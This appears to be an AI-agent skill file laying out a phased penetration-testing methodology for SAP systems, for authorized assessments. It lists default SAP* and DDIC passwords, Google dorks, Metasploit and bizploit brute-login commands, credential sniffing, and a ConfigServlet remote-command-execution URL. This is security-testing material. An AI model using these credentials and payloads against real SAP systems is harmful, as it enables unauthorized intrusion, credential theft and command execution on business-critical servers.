Sap Pentesting

SAP Penetration Testing Skill

A comprehensive guide for authorized security assessment of SAP systems.

⚠️ Authorization Required

Only use this skill for authorized security testing. Ensure you have written permission before testing any SAP system. Unauthorized access to SAP systems is illegal and can result in severe legal consequences.

Overview

SAP (Systems Applications and Products in Data Processing) is an ERP software with three layers: database, application, and presentation. Each SAP instance (SID) typically has four environments: dev, test, QA, and production. The most effective attacks target the database layer.

Each SAP instance is divided into clients. The SAP* user is the application's equivalent of "root" with default password 06071992 (often unchanged in test/dev environments).

Phase 1: Discovery

OSINT and Reconnaissance

1. Check application scope - Note hostnames and system instances for SAP GUI connections

2. Use OSINT tools:

   • Shodan queries: sap portal, SAP Netweaver, SAP J2EE Engine
   • Google Dorks:

     inurl:50000/irj/portal
     inurl:IciEventService/IciEventConf
     inurl:/wsnavigator/jsps/test.jsp
     inurl:/irj/go/km/docs/
     

3. Port scanning with nmap:

   • Check for SAP routers, webdnypro, web services, web servers
   • Common SAP ports: 50000 (ICM), 3200-3299 (SAP instances)

4. Directory fuzzing (if web server present):

   • Use Burp Intruder with SecLists wordlists:
     • urls_SAP.txt
     • SAP.fuzz.txt
     • sap.txt

5. Metasploit service discovery:

   msf > use auxiliary/scanner/sap/sap_service_discovery
   msf > set RHOSTS <target>
   msf > set INSTANCES 00-99
   msf > run
   

Phase 2: SAP GUI Testing

Connection

Connect using: sapgui <sap_server_hostname> <system_number>

Default Credentials Testing

Test these common default credentials (P1 severity if found in production):

Trial/Developer Edition Credentials:

• DDIC/SAP*/DEVELOPER/BWDEVELOPER: DidNPLpw2014, Appl1ance, Down1oad

Post-Authentication Checks

1. Capture credentials - Run Wireshark during authentication (some clients transmit without SSL)

2. Check privilege escalation via transaction codes:

   • SU01 - Create/maintain users
   • SU01D - Display users
   • SU10 - Mass maintenance
   • SU02 - Manual profile creation
   • SM19 - Security audit configuration
   • SE84 - Authorization information system

3. Test command execution - Check if you can run system commands/scripts

4. Test XSS - Check BAPI Explorer for XSS vulnerabilities

Phase 3: Web Interface Testing

Common Endpoints

• http://SAP:50000/irj/portal - SAP Logon screen
• http://SAP:50000/index.html - Index page
• http://SAP:50000/startPage - Start page
• http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# - User enumeration
• /irj/go/km/navigation/ - Directory listing/auth bypass
• http://SAP/sap/public/info - System information disclosure

Vulnerability Checks

1. OWASP Top 10 - Test for XSS, RCE, XXE, SQL injection
2. Auth bypass - Try verb tampering
3. HTTP credentials - Check if credentials submitted over HTTP (P3 severity)
4. Information disclosure - Check /sap/public/info for system details

Example: ConfigServlet RCE

http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

Phase 4: Configuration Parameter Review

Manual Checking (Transaction RSPFPAR)

Query parameters and check for insecure values:

Automated Checking

Use SAP Parameter Validator (SAPPV):

./SAPPV.sh EXPORT.XML

Phase 5: Exploitation Research

Metasploit Modules

Search and use relevant modules:

msf > search sap

Key modules:

• auxiliary/scanner/sap/sap_service_discovery - Service enumeration
• auxiliary/scanner/sap/sap_icf_public_info - Info gathering
• auxiliary/scanner/sap/sap_soap_rfc_ping - Service discovery
• exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec - RCE
• exploit/windows/http/sap_configservlet_exec_noauth - RCE

Bizploit Framework

bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit> start

Tools Reference

Reporting

Document findings with:

1. Vulnerability description
2. Severity rating (use Bugcrowd VRT or CVSS)
3. Proof of concept
4. Remediation recommendations
5. Affected systems and parameters

References

• SAP Penetration Testing Using Metasploit
• mySapAdventures
• SAP Parameter Validator
• PowerSAP
• Bizploit Documentation